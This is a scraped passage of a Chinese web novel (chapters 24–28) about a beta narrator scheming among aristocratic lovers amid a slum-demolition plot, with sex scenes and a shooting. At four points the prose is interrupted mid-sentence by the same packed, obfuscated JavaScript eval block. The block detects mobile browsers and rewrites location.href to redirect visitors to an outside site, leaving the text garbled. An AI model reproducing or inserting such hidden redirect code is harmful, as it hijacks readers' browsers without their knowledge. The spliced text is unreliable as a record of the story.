;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884760|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”我声音沙哑问道。 “不知道。我们只能得到是白灯湾传下来的消息。”阁新回答,声音有些低沉,“白灯湾防御得很严密,组织人员进不去。” 白灯湾,又是白灯湾! 这群人到底要干什么! 我深吸一口气,“还有几天?” “最多半个月。”阁新说,“到时候我们会制造动乱,趁机转移离开贫民窟,正式前往克亚区的总部。” “另一个组织呢?”我追问,“21日那天发动叛乱宣讲的组织呢?和你们一起撤离吗?” “……不清楚,我估计也差不多。他们的目的和我们的目的不一样。” 教堂内再次陷入沉默。 良久,我站起来想要回去自己的小破屋。 可现在整个西区到处都是巡逻的警察,被发现的话嫌疑增大,不如逗留在教堂。 于是我身心疲惫地把十字架雕像下桌子的桌布扯下来,然后躺到椅子上盖好。 阁新表情复杂,“你就这样睡?” “嗯。”我有气无力。 “你也睡得着。”他嗤笑。 我满脸麻木和无赖,“那不然呢?你不是说还有半个月吗?我光焦虑有什么用,又不能立刻逃走,还不如今晚好好睡觉呢。” 见他表情难看,我为了维持人设撑着力气说:“我相信你,也相信你们组织。” 阁新的脸色才好看一些。 而我也终于能闭上眼睡觉了。 太累了今天,身心都累,好像一次性抠了十个人那么累。 到了第二天早上,阁新已经不见了。 我是被修女推醒的。 吃了点教堂提供的免费早餐,我从钱包里翻出一张皱巴巴的一块钱纸币投入募捐箱,又对着十字架雕像祈祷一番。 要是上帝真的存在,你他爸的就应该让我过上好日子,从此不用为如何保住小命发愁。 到了快上班的时间,我才慢吞吞地离开教堂前去公司。 白天的公司还是老样子,到处都是忙忙碌碌的打工人。 我开始发散思维。如果命令下来了,这些公司的人会死掉吗?还是能得到消息提前撤离? 可想要离开贫民窟不是那么容易的,就算有公民身份也得经过警察局的审批才能离开。 这也是当初我为什么想要搭上奥维拉的原因。 猪头经理路过我时,又暗示性地朝我做手势,表示只剩下两天的时间让我考虑。 我给他回了一个微笑。 照常坐上电梯,我来到顶层克斯蒂的办公室。 刚刚进门,我就听见克斯蒂对着通讯器那一头怒骂。 “该死的!把你那高高在上的愚蠢嘴脸收回去!我根本就不关心你想不想去死,但你要是敢限制我的自由,就别怪我取消联姻!” “克斯蒂!你们现在公司的运输网络出了问题,出了加快联姻速度外难道还指望其他人伸出援手?我告诉你,盯着你们无人区运送生意的公司多的是,我不差你一个omega!” 克斯蒂气得肩膀颤抖,“你以为你是谁!你真以为你这样的废物有挑选资格吗?实话告诉你,就算你和更厉害的omega联姻,到时候继承家族的也只会是你哥哥!” 那边的人破防怒吼,紧接着的是玻璃破碎的巨大响动。 我来到克斯蒂身边,总觉得眼前这一幕有点眼熟。 尤其是我下意识给他倒了一杯茶后,就觉得更眼熟了。 克斯蒂等会不会要泼我茶水吧? 我试试这茶热不热。 25.第 25 章 “够了!我说够了!”克斯蒂猛然发出刺耳的怒骂,“有本事你就亲自上门取消联姻,否则我会永远唾骂你,你就是个没有脑子的懦夫!” “啪嗒!”通讯器被他愤怒地挂断,然后发泄似的砸到地板上。 我很想悄悄往旁边挪一点,可克斯蒂的视线已经看过来了。 “克斯蒂,喝点茶吧。”我把茶推到他的手边。 嗯,温度刚好不烫手,而且我们都这个关系了总不至于又闹脾气吧? “……”克斯蒂静静地看了我一会,然后靠过来把脑袋磕在我的肩膀处。 我任由他靠着,指尖将他有些凌乱的长发别到后面去。 “没关系,克斯蒂,我始终在你身边。” “无用,你比那些愚蠢的alpha好多了。”克斯蒂呢喃说道,抬起眼眸与我对视。 他与我贴得更近了,小腹几乎碰到一起去,两条手臂往后环住我的脖子。 “这是你们beta的天赋吗?” 刚刚说完,他很快又否认了,眼底的讥讽和嘲弄几乎溢出来,“哈哈哈,也许只有你这样,奥维拉那个人就是个疯子。他总是在发疯,每天都在歇斯底里地乱叫。你知道吗?昨天晚上他奥维拉和莱文回去的时候又吵起来了,哈哈哈。他们两人,都跟疯了一样恨不得弄死对方。” 我表面上安静听他说话,实际上内心疯狂翻白眼。 乌鸦别说其他鸟黑,你也一个mean样。刚才对通讯器发疯跳脚的模样跟奥维拉如出一辙好吧? 克斯蒂埋怨的话很多,将刻薄傲慢天龙Omega男性的刻板印象发挥到极致,满嘴都是恶毒的垃圾话。 刚刚嘲讽挖苦完奥维拉和莱文,就开始怒骂愚蠢alpha未婚夫,之后是不理解他想法的家族。 “克斯蒂。”我轻声打断他,在他些许不悦的眼神中,我有些哀伤地询问,“你要离开” “什么?离开?”克斯蒂眼眸微眨,金色的漂亮眼睛立刻闪过些许心虚,然后又理直气壮地看回来。 他安抚兴致地摸摸我的脸,“我只是回去应付而已,很快就回来。你舍不得我,无用,你应该对我坦诚点。” “我只是……”我抿唇,窘迫地移开视线,“克斯蒂,我只是有点负面情绪而已,很快就能消化好。” “而且比起我个人的情绪,我更担心你。” 克斯蒂疑惑,“你担心我什么?” 我呼出一口气,将他的手从脸上拿开,然后表情严肃地看着他,“克斯蒂,我担心你的家族不会再放你离开了。” 克斯蒂愣住了。 而我则是放缓呼吸,仔细观察克斯蒂脸上的每一处纹理,企图从中找到任何的蛛丝马迹,同时一字一句开口:“克斯蒂,莱文到贫民窟绝对不只是为了找到奥维拉的情人,一定有其他更重要的事情。” “你的家族让你离开贫民窟,很有可能是为了你的安全考虑。” 克斯蒂的眼眸逐渐放大,惊讶和疑惑的情绪真情实意。 很好,克斯蒂不知道上行城那边的决定。 我也理解,毕竟是个用来联姻的Omega,没必要让他们思考问题。 “你为什么会知道这些?”克斯蒂问。 “……昨天莱文遇到袭击后,我从莱文口中猜到的。”我回答他。 至于我是怎么猜的你别管,反正接下来你好好听我说话。 我将他按在座位上,单膝跪地,握住他的手放在唇边小心亲吻,轻声说:“克斯蒂,我很笨,我只能凭着感觉去做事情,所以我做不到对你撒谎。” “我依赖你,克斯蒂,我不想你离开。可我又真心希望你离开,最好不要再回来。” “啪!”克斯蒂一巴掌打开我的手,眉间染上怒意,“白无用!你把我当成一夜情的炫耀资本?” “我从没有这样想过!”我急切反驳,“但我更希望你好好的!” 我站起来在他面前焦躁地团团转,“我不敢赌,我不敢想象你要是真的受到伤害我该怎么办!昨天我和莱文遇到袭击,我才意识到那群叛乱党到底有多疯狂!” “他们想要杀人的时候根本不会管你是什么性别,只是单纯的地想要杀人!” 我本色出演,一想到昂撒在阴暗处对我的狗命虎视眈眈我就热泪盈眶,悲怆油然而生。 克斯蒂面色苍白地看着我在他眼前发疯乱转,想开口又被我屡次打断。 “司机就死在我的面前,而我无能为力!”我又回到了克斯蒂面前,眼含热泪,“克斯蒂,比起我的私欲,我更希望你好好活下去。” 悲伤吧?痛苦吧? 那就快想想办法怎么把我也带走! 我他爸的一点都不想留在贫民窟!谁都好赶快带我走! 克斯蒂直直望着我的眼睛,某种情绪激烈翻涌。 下一秒,他猛地靠过来吻我。 依旧是笨拙青涩的动作,可这一次带有明显的热情和潮气。 这种潮气洒在某个角落时尤为明显,几乎是动一下就能引起潮汐。 克斯蒂抬起头问我:“无用,你告诉我,你爱我是吗?” 就是你不懂事了啊,好好吃饭呢说这些有的没的干嘛? 而且你还没答应把我带走呢,说这些话是另外的价格。 “白无用!”他的指甲扣进我的肉里,急切地在我眼底搜寻想要的东西。 我遮住他的眼睛,在他耳边轻声回答,“克斯蒂,我现在不能说。你答应我,等你离开贫民窟后再听好吗?” 听懂了吗?我暗示得很明显了! 想要听那几个字就把我带出去!没命谁跟你说几把情话? 克斯蒂安静了,睫毛扫过我的手掌心。 他又一次贴上去。 当潮气撒过肌肤上细碎的伤口时,他的眼角有些红。 “不用愧疚,无用。”他一边说着,一边舔舐伤口出长出来的肉芽。 “我愿意这样做,而你只要喜欢就好。” 我不言,实际上感慨天龙人就连用的外伤药膏都比小牛马的好千百倍。 我手掌心的伤要是从前起码得数十天结痂。现在一晚上就结痂了,被舔后更是又痒又热。 等我把克斯蒂从地毯上拉起来后,我才看见莱文的信息。 原来只是抓到了昨天袭击的叛乱党,并且这些人指明要见我而已,小事哈哈哈…… 我差点发出尖锐爆鸣! 这一条信息十几分钟前就发过来了,我甚至连逃跑的机会都没有! 我要四进审讯室哩! “叩叩叩!” 克斯蒂刚刚将办公室内信息素的味道处理干净,“谁要过来?” 我僵硬地往窗户边挪,悄悄往下看一眼,又绝望地收回视线。 额啊啊啊跳下去就粉身碎骨,不跳下去就会被枪毙!无论是哪个都不想选! 莱文带着新的助理进入办公室,用某种微妙的眼神迅速找到我的位置。 空气中似有似无弥漫着某种气味,似乎是信息素,又似乎只是香水。 “简,我得带白无用走一趟。”莱文说道。 “她怎么了?”克斯蒂问。 这已经是第三次有人直接当着他的面要把我带走了,而每一次克斯蒂的心情都不同。 “我找到了昨天发动袭击的叛乱党,因为白无用也是当事人之一,所以需要她出面。”莱文简单解释了一句。 而我则是在旁边诡异地放松了。 呼——说辞不一样,看来还有周旋的余地。 我真要被昂撒搞怕了。 对方明显是个阴险老登,算计人的诡计一条又一条,我就怕一个不小心又被人拽进坑里。 “是吗?”克斯蒂瞥了我一眼,然后扬起笑容,“好吧,无用,你和斯科特去一次吧。至于我们刚才聊的问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889235|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我会解决的。” 得到了承诺,我如莱文所愿跟他上了车。 轿车刚刚启动,我就发现中间的隔板被莱文升上去了。 嗯……莱文想干嘛? “莱文?”我假装无辜瞪着眼睛看他,“你通讯器里的信息是真的吗?” 莱文侧眸看我,眼镜片下的黑色眼镜在近距离看像是某种黏糊的生物。 他靠近我,嗅到味道后发问:“你身上的是什么味道?” 我无辜又老实,睁大眼睛说:“你是说香水味吗?” 我面颊微红地蹭了蹭手腕,难掩羞耻说:“其实我昨晚没有休息好,看见你的消息后就向克斯蒂借了点香水,又去整理了一下自己,希望这样能让我看起来精神些。” 莱文的瞳孔缩了缩,那种黏糊生物的既视感褪去,又变回了人样。 他被烫了似的移开视线,“确实精神很多。” “谢谢。”我微笑道谢。 “被我夸赞,你很开心?”他又问。 “这……是理所应当的吧?”我也跟着移开视线,盯着窗外不断倒退的风景。 真有钱啊,昨天才报废了一辆车今天又买一辆新的,换新得比底层小牛马垫屁股的纸皮还勤快。 话说克斯蒂要怎么带我离开?总不能是情人的身份吧?而且得让奥维拉审批。 以防万一还是让三个人都答应带我走吧。三个人总得有一个人能保底吧?总不能三人都放我鸽子? 一只手放在了我的大腿上。 我一个机灵,下意识瞪过去,就看见取下了眼镜的莱文。 omega男和我拉近距离,距离我唇角的一寸距离前停下。 “莱文!”我惊呼,制止了他想要往下的手,“你要做什么!” “白无用,这是等价交换。”他说,“你没有向我索取任何东西,那就该由我决定怎么等价交换。” 不是,啊??? 这不对吧!不做你情人,你就要来透我? 倒反天罡!这简直是倒反天罡! “莱文!”我一把子把他推开,感觉此时此刻身为矿工的尊严被狠狠冒犯! “你的等价交换就是侮辱我!” 莱文昂倒在车座上,却是长腿勾住我的腰又坐起来。 好特么丝滑的动作!这人到底什么职业! 我把人又按住了,一巴掌拍在他的大腿上,“冷静点,莱文!你找我难道不是为了叛乱党的事吗?” 拍到了衬衫夹上,有点硌手。 莱文的一条腿被我摁着,另一条腿却弯曲着贴住身子。 他的呼吸悠长缓慢,视线从上至下将我观察了便,然后缓缓开口:“白无用,七年前你在哪?” 我的大脑皮层瞬间炸开! 你上来就是致命问题,我还不如被透……不行!我特么宁愿去死也不要被透! 矿工就是矿工,我就是在矿洞里累死了也不要被挖矿! 这是原则问题!是灵魂问题!是三观问题! “怎么?想不到狡辩的理由吗?”莱文冷笑。 可闭嘴吧你! 我上去就把他的嘴堵住。 再问多一秒我就要爆炸,别特么问了! 莱文竟然真的没有再问,而是顺着力气吸吮。 后车座的空间有限,他的大腿没地方放,就只能曲着,却还在不断地被挤压存放空间。 “手上的伤……”他扣住我的手,气喘吁吁问我。 喘息的声音有点大,我就解开他的衬衫塞进他的嘴里,让他咬住。 为了咬住衬衫,他说的话就开始含糊不清了,断断续续连不成一句完整的句子。 我没听懂这人到底在嘀咕什么东西,但不妨碍做事 就当做是为以后一天内做好三人的时间管理奠定良好基础了! 白无用,你只是名字叫白无用,实际上你很有用的! 26.第 26 章 我觉得我有点死,尤其是失血过多。 可恶啊,难道这就是做矿工干的代价? 莱文坐在我旁边,一条腿还缠着我的腰。发现我的视线没有追随他,于是伸出手把我的脸掰过去。 简直是一条极力攀附物体的毒蛇,吐着蛇信子要把能吃的都吃进去。 “白无用。” 我无声地对他对视。 可能是这两天精神过分紧张,我总觉得在莱文的眼睛里看见了回忆中的某种东西。 那种东西太熟悉了,而且也不是没有那种可能。但如果是那种可能也太可怕了点,完全没有活路。 “那几个叛乱党,点名要见你。”莱文一边细细密密地吻我,一边轻声说话,“白无用,我只给你一次说真话的机会。” 这你就不懂了吧? 我不是不说真话,我是有选择性地说,缓慢地说,有原则地说,有计划地说,确保每一次说都有退路,有思想且有门道。 “莱文,我能问你,为什么想知道吗?”我用深情且复杂的目光看他,将他的手握在掌心里。 被问住的莱文把嘴巴闭上了。 于是我俩就这样沉默着到了警察局。 在眼熟记录员警员的带领下,我们去警督办公室见了奥维拉。 奥维拉依旧是懒洋洋地模样,办公桌上是随意摆放的文件,还有一份是重新打印的贫民窟拆迁文件。 “身为警督,不在审讯室里审讯叛乱党,反而在办公室内享乐。”莱文见到奥维拉就开始了熟练地讥讽,“当初果然就不应该如你所愿安排这个位置给你。” “可惜你没有后悔的机会,因为只要我愿意,我随时能让你身败名裂。”奥维拉笑得像个神经病。 两人算是彻底撕破脸了,看谁都恨不得对方立刻去死。 我就站在旁边假装为难地浏览文件,仔细查看文件内的每一个文字。 除了增加时间长短外,没有任何区别。 尽管知道上行城和白灯湾的人做下决定后绝对不会在乎人命,但我的内心还是爆出无数句粗口。 一群狗屎,她们就应该自觉结束生命,好挽救一下这个烂得不能再烂得世界。 “奥维拉,莱文,不要再吵了。”我打断他们的争吵,将文件放在奥维拉的面前,“奥维拉,剩下的叛乱党都已经抓住了,那是不是说明贫民窟真的要拆迁了?” 这个问题对奥维拉来说都莫名其妙。 毕竟在他的脑子里压根就没有相关问题的存在,甚至超出了他们的认知。 只是贫民窟而已,拆了就拆了,又有什么大不了呢。 好在他储存不多的脑子里有我这号人,也想到了当初我和他讨论相关问题时的心情和表情。 于是他扬起灿烂的笑容,似乎是安抚我的意思说:“不用担心,无用,到时候你只要去过渡区就好。” 我追问:“可……你和莱文呢?而且我没有钱,我买 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我还没回答呢,奥维拉突然拉近了与我的距离,在我耳边轻轻吹出一口气。 来自身后的视线立刻转变成毒蛇要把我咬死时,我听见奥维拉吐出一句更加让我胆战心惊的话。 “要是被记录下你的名字,后续我处理起来很麻烦,无垠。” 27.第 27 章 前有神经病疯狂试探,后有毒蛇吐出毒液。而我夹在他们两人之间汗流浃背,战战兢兢。 奥维拉这是什么意思? 莫名其妙地为什么突然提起白无垠?难道是他大老远地从克亚区跑回来了只是为了给我一个惊喜吧哈哈哈…… 透你爹的! 我努力瞪大无辜的眼睛,一副木讷老实的模样询问奥维拉,“无垠怎么了?” 然后我做出惊恐和担忧的表情,一把抓住奥维拉的手语气焦急,“难道无垠他真从克亚区回来了?为什么他不告诉我?他为什么突然和叛乱党扯上关系?” 不管那个蠢货在克亚区做了什么,那都跟我没关系啊! 要枪毙就枪毙白无垠,和我白无用有什么关系? 奥维拉又用那种带了点兴奋的眼神看我。和从前那纯粹是为了追寻精神刺激的兴奋不同,此时的他更像是发现了某种共同的秘密并且预备谋划什么一样。 电光火石之间,我从此神经病的眼神里读明白了某种东西。 他正迫不及待地等着我坦白呢。 但我没真的天真到觉得我和奥维拉是一条船上的狗了。 就目前情况来看,贫民窟天龙三人组中只有奥维拉用处最小。他的一切都依赖于莱文这个丈夫,一旦莱文放弃奥维拉,他就是什么都不是。 莱文都要磨刀霍霍把他坑死了,还在这追求刺激呢! 脑子里转来转去,终于到了关押那几人的房间。 我从奥维拉的表情上看就知道这人还想再扯一些危险性刺激性极高的问题,而我也听见身后莱文靠近的脚步声,于是我当机立断开口:“奥维拉,莱文,你们要跟我一起进去吗?” “一起。”莱文顺理成章插到我和奥维拉之间,刻薄地将下巴高高抬起。 奥维拉嗤笑一声,用钥匙打开了房间门。 关押叛乱党的地方当然不是什么好地方,条件简陋到可以说完全没有。 几个alpha男性就这样坐在地上,浑身上下挂了不少伤口,连包扎的纱布都没有。 不过想想他们明天就要上处刑台,包不包扎都无所谓了。 “总算是见到了啊。”领头的alpha男性长了一张普普通通的脸,丢在人群里一下子就不见了。 我没有立刻出声,而是忐忑不安地看看奥维拉,又看看莱文。 这里做主的可不是我啊,你有什么不满的事情你对准这两个天龙人。 有洁癖的莱文受不了这种肮脏潮湿的环境,皱着眉居高临下对领头人说:“如实交代吧,昂撒在哪里?” 哇哦,这是演都不演了。 我站在旁边啧啧称奇。推进度到这个程度,确实没有演的必要。 “你怎么不亲自问问他?”领头男大喇喇地靠着墙,视线却依旧固定在我的身上,“以你和昂撒的关系,说不定问问他就出来了呢?” “呵,你对他忠心耿耿。”莱文脸上的讥讽更甚,“可现在他还是把你推出来做替罪羊。” 两人的对话对奥维拉来说简直是高等数学,让他整个人都表情阴翳起来,盯着这两人的眼神看着又要搞事。 不过他们的谈话持续没多久,领头男就失去了和莱文交谈的兴趣,正式把话头递给我,“所以你呢?” 我立刻装作无辜的老实人模样,“你有什么要对我说的话吗?先生?” “哈哈哈哈!”领头男突然爆发出大笑,“你还在等什么,白无垠!你现在就可以杀了他们,这就是昂撒给你的机会啊!” 我靠!我靠! 啊啊啊你在说什么啊! 我一下子就瞪大眼睛了,在奥维拉和莱文的双重注视下两股战战,“我弟弟难道在你们手里吗?” 什么白无垠!我不知道!我根本不知道! 然而领头男的表情突然变得狰狞起来,捂住后脑勺的位置开始剧烈抽搐。 另外两人则是迅速动作,竟然从口腔里掏出类似玻璃材质的胶囊状物体捏碎,拍在领头男的后脑勺上! 一切发生的太快,等我上前去一脚把他们分开时,那东西已经融入他的后脑勺! “白无用!”奥维拉的动作比莱文快一些,在莱文惊愕的眼神中大步上前就要扯住我。 也就是这短短的时间内,我看见了领头男的表情。 原本要伸出手阻止的手硬生生转了一个度,然后承受住其中一人的踢腿撞到墙上。 “噗嗤!” 一根粗糙的木头被插入了奥维拉的大动脉里。 我的呼吸粗重,余光看见莱文动作迅速的从腰间取下配枪然后对准了领头男的脑子然后按下扳机。 “砰!”“砰砰!” 这可他爹的太刺激了。 一连三枪,弹无虚发。 我就这样呆呆地站立在几具尸体中央,怀中是还在苟延残喘的奥维拉。 温热的血洒满了我大半个上半身,而莱文却站在边缘干干净净的,除了一点□□的味道外啥都没事。 天龙人就算是杀人都那么体面,我好生气哦。 但我不敢,我怕他擦枪走火把我也枪毙了! 莱文面无表情,漆黑的枪口还散发出一丝丝白色的烟雾。 这是昂贵的老式手枪才有的特征,剔除填装子弹麻烦缺点的同时保留了经典特征,是许多大人物喜欢用的防卫手枪。 我在无人区时有幸见过,还摸过,知道怎么使用。 “白无用,你该好好向我解释解释。”莱文的眼神仅仅锁定我,阴毒刻薄,像是要攀爬上我的脖颈绞死我。 “你,和奥维拉到底是什么关系。”他阴冷地吐出这句话。 哈哈,哈哈哈还能是什么关系呢? 当然是小白脸和奸夫的关系啊,这不是显而易见嘛…… 不要啊!虽然早就有了坦白的计划但绝对不是现在啊!你能不能先把枪放下! 我的面色苍白,额头的冷汗都要滴下来了。 “莱文……” 莱文还是死死盯紧我,从牙缝里挤出字眼,“回答我!” 我痛苦又绝望祈求,“莱文,先把奥维拉带去医院,好吗?” “白无用,你想死!”莱文又要开始扣动扳机。 我他爸的一点都不想死,但我编不出理由啊! 死脑子快转啊! 我被逼得眼角通红,为自己真情实感地流泪,“莱文·斯科特!你想怎么质问我,甚至杀了我都可以!但是先救奥维拉!” 莱文的呼吸明显急促起来,眼眸翻涌这几乎恐怖的情绪。 他想也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906194|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想地将枪口对准我的脑子,然后扣下扳机。 “砰!” 一颗子弹从我的耳垂下方擦过去,最开始没什么感觉,但随着时间的推移,刺痛和灼烧感渐渐上涌。 我始终瞪大眼睛直视莱文的眼睛,心脏扑通扑通地跳。 “……去医院!”莱文咬牙切齿说完,转身大步离开。 几乎是他转身的一瞬,我差点双腿软下去。 我草!我差一点就死了! 而怀抱中的奥维拉已经面色苍白,失血过多开始喊冷了。 要不是我有点急救知识,这人现在早死翘翘了。 堂堂警督被人刺杀,那送医院的效率可谓是杠杠的。 把人送进急救室,前后竟然只花了十分钟不到,比那群上行城的人转账都快。 等人进入手术室,就留下我和莱文站在外面相顾无言。 我身上的血已经干成块状,依附在皮肤上造成极度的不适。可我一个字都没敢吭声,余光还在观察莱文别在腰间的手枪。 老式手枪一次能够填充五颗子弹,他打死叛乱党三颗,擦枪走火一颗,还剩下一颗。 嗯,现在我只需要确保自己身手足够敏捷躲开最后一颗就安全了…… 然后被按上莫名其妙的罪名死翘翘,或者半个月后被炸上天! 死脑子赶紧给我转啊!你们这群天龙人上医院才几分钟,怎么就不能在半路塞车半小时呢! “现在你可以好好狡辩了,白无用。”莱文冷声说道。 他厌恶的表情很明显,甚至到了短短一句话就皱眉的程度。 而我继续保持沉默,看着自己的一双手两眼放空。 “你就用这样的态度回避问题吗?”莱文的情绪在我的沉默中爆发了,怒吼着又要掏出枪对准我。 而我则是干脆闭上眼,颓唐轻声说:“那你杀了我吧,莱文。” 就是这样,麻木,痛苦,绝望和无奈。 枪口摁在了我的太阳穴上,明明很冰冷,我却有种被轻微灼烧的错觉。 “你以为我会不舍的?”莱文冷笑,“就凭你和我上了两次床?” “没有。”我濒临崩溃地捂住脸,“莱文,你还是杀了我吧!” “我就是个懦弱,无用又软弱的beta,甚至连自己的内心都不敢面对!我的生活简直一团糟,我根本就不知道该怎么经营我的生活!” 按压在我太阳穴的枪出现了不明显的颤抖。 我再次与莱文对视时,已经双眼通红,“我能怎么办?说到底就是我自己的错!奥维拉没有错,你也没有错!” “所以你承认了!”莱文暴怒,食指开始往下扣动。 我则是在此刻抓住了他握枪的手,声嘶力竭大吼,“是!我就是!21日那天我就不该出现,我当初就不该离开无人区,我甚至不该活着!” “我懦弱到为了一段痛苦的感情跳海,又在跳海的当天自以为是地找到新的情感依靠,然后安慰自己又有活下去的理由!” “我要怎么做!我又能怎么做!” 莱文猛然震住,想要抽回手,却被我紧紧握住,枪口压在了我的太阳穴上,甚至压出印子。 “莱文……如果这是你想要的,就拿去吧。”我借着他的手,开始按扳机。 28.第 28 章 老式手枪从扣洞扳机到子弹射出需要多长时间?子弹卡顿的概率有多大? 我只能赌一把,将主动权掌握在手里,逼迫莱文做出选择。 我实在是太了解天龙人的脾性了。他们可以理所当然找一个看似合理的理由剥夺底层人的生命,可要是底层人主动把脑子递过去,他们反而不乐意了。 主动送上门的东西总是便宜货,而自己抢过来的东西吃起来才美味。这条规律自然也包括人命。 眼前的omega男性一动不动,闪烁的镜片挡住了一部分眼眸光,可紧紧抿住的唇还是泄露了他不是多平静的内心。 “莱文,要我帮你吗?”我问道。 我默默吞一口唾沫,手指以及其缓慢地速度扣动扳机。 我透的快点给我点反应啊!再不快点我就要下不来台了! 凭借着对老式手枪的熟悉,我清晰地感受到微妙的卡顿感,只要再往下按一点点,子弹就会从迸射而出,穿透我的大脑! “咔哒!” 我猛地闭上眼,随之而来的不是灼烧的子弹,而是莱文毫不留情的一拳! “你这个底层杂种!”莱文一拳把我的脸打歪,然后拽住我前胸的衣襟,“你真以为我不舍得杀你吗?欺骗我很有意思?一个没什么用的底层beta,竟然敢欺骗上行城的法官?” 我的左边面颊火辣辣的疼,扯动一下唇角就感觉到肌肉拉伤的痛。莱文的手劲很大,也比寻常的omega高一些。或许是多年被当做alpha培养形成的习惯,他展露出来的攻击性完全不亚于alpha。 看着眼前处于盛怒中的莱文,我突然有点想笑,于是真的笑了,结果第二次扯动嘴角的肌肉,顿时抽痛地倒吸一口凉气。 而莱文却以为我的笑实在挑衅,于是拳头再一次落下来。 这次我没有任由他打。 你他爸的,打一次就当做是骗你的补偿了,还想来第二次? 反正是不指望你带我出贫民窟了,谁还忍你啊! 我没让着他,在躲开他的拳头后就果断地抬腿重重顶住莱文的腹部,成功让他痛到弯腰。 “白无用!”莱文痛苦捂住腹部,额头的青筋凸出来。 那一副昂贵的金丝眼镜更是被我的重击顶落下来,滑到了胸膛处。 “是,我就在这里。”我回答他。 他彻底被我激怒,老实手枪在手中转了一圈又要对准我。 可我反而抓住了他,攻守易势地将他压制到墙壁上! 突如其来的撞击让莱文闷哼一声,眼眸爆发出惊人的怒火,恨不得现在就要把我弄死,“底层的杂种!” “我是杂种,你又是什么!”我大声反问,展露出的愤怒比他还剧烈,“和我上床的莱文·斯科特,你又有什么资格质问我!” 莱文表情陷入一瞬的空白,随后是强烈的怒火,“你他爸的想死!” “你想杀了我,刚才又为什么不杀!我给过你机会,又为什么心慈手软!”我一只手卡主他的手枪,另一只手掐住他的脖子逼近,“说到底不就是好奇我为什么和奥维拉搞在一起吗?” 声嘶力竭的怒吼,不受控制的理智。 莱文汹涌的情绪在此刻被一种未知的东西狠狠压制住,无法宣泄地卡在脑子里,让他的大脑成为浆糊。 “你觉得尊严被踩在脚底下?身为一个大法官却被底层人戴了绿帽子,所以恨我恨地要死?”我的语气放轻了些许,音量也逐渐下沉。 两人的距离逼近到最小距离,能够清楚地看见彼此眼中的自己。 “那你们又有谁在乎过我的尊严?”我轻声问道? omega男性的瞳孔骤然收缩。 “我有选择的权利吗?从无人区出来的我为了公民的身份和竞争者大打出手,领着一个月三千块的工资,上交百分之四十的税款,还要为了克亚区弟弟的学费省吃俭用。你觉得这样的我,在面对上层人伸出来的手时有拒绝的权利吗?” 手掌下的脖子纤细,链接大动脉和心脏跳动的节奏,一下又一下。 这个人在紧张,我能够准确地猜出这一点。 “莱文·斯科特,换做是你,难道会允许其他人拒绝吗?” 莱文下意识勾起冷笑,“呵,我怎么……” “可你还是想让我做你的情人。”我冷声打断他。 他怔愣住了。 “我拒绝过你,莱文。我好不容易摆脱了奥维拉,以为交到了一个朋友,可事实告诉我,你们谁都没有把我放在眼里。我对你们说出心里话,可你们呢?你们根本不在乎我的想法,不在乎我的拒绝,自以为是地朝我抛出橄榄枝。” 天龙人施舍底层人善良,可以。 底层人拒绝天龙人施舍,不可以。 这些杂种双标地理所应当,高高在上地踩着底层人的脑袋,在吃东西的时候偶尔掉出来一点饼干屑进入底层人的嘴里,于是让底层人感恩戴德。要是底层人不愿意开口,就会怒骂为什么底层人没有让地板保持干净。 哈哈哈!都他爸的是杂种! “莱文·斯科特,你凭什么质问我?”我咬牙切齿地质问他,甚至连让他喘息的空间都不给。 “你又有什么资格质疑我的……”说到这句话,我突然松开他,脑袋往下低垂,额头抵住了挂在胸膛处的金丝眼镜。 冷冰冰的触感,但想到这玩意上面镶嵌了钻石,我又觉得不是很冷,温度刚刚好。 要是今天和莱文闹掰了,我能不能找个理由把眼镜拿走?总不能白打工,一点好处都没吃到嘴吧? 思考好眼镜的问题,我知道时间差不多了,于是重新抬起头。 omega男性的脸色有点苍白,又有点迷茫。当然,这不是说他傻缺的意思。 他只是触及到了知识盲区,无法理解为什么底层人还会有尊严这种昂贵的玩意。 无法理解就对了,我也无法理解。 我要是真有尊严就不会做小白脸了。我的职业素养比我的尊严可贵多了。 “莱文,我们彼此都冷静一下吧。”我语气轻柔说道,眼神却是黯淡的。 “你们继续去过你们的生活,离婚也好,还是和好如初,都和我没有关系。哪怕你想把我踢回无人区,也随便你吧。” 莱文的嘴角挪动了几下,最后还是没有说出一个字眼。 烦死了!离开贫民窟的路又被堵上了一条! 我烦躁地想要再给他一拳,但我忍住了。 情绪上头的时候能打一打人,现在冷静还打人那就没法收拾了。 可恶,我还是很想把眼镜顺走。 于是我原本要离开的步伐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 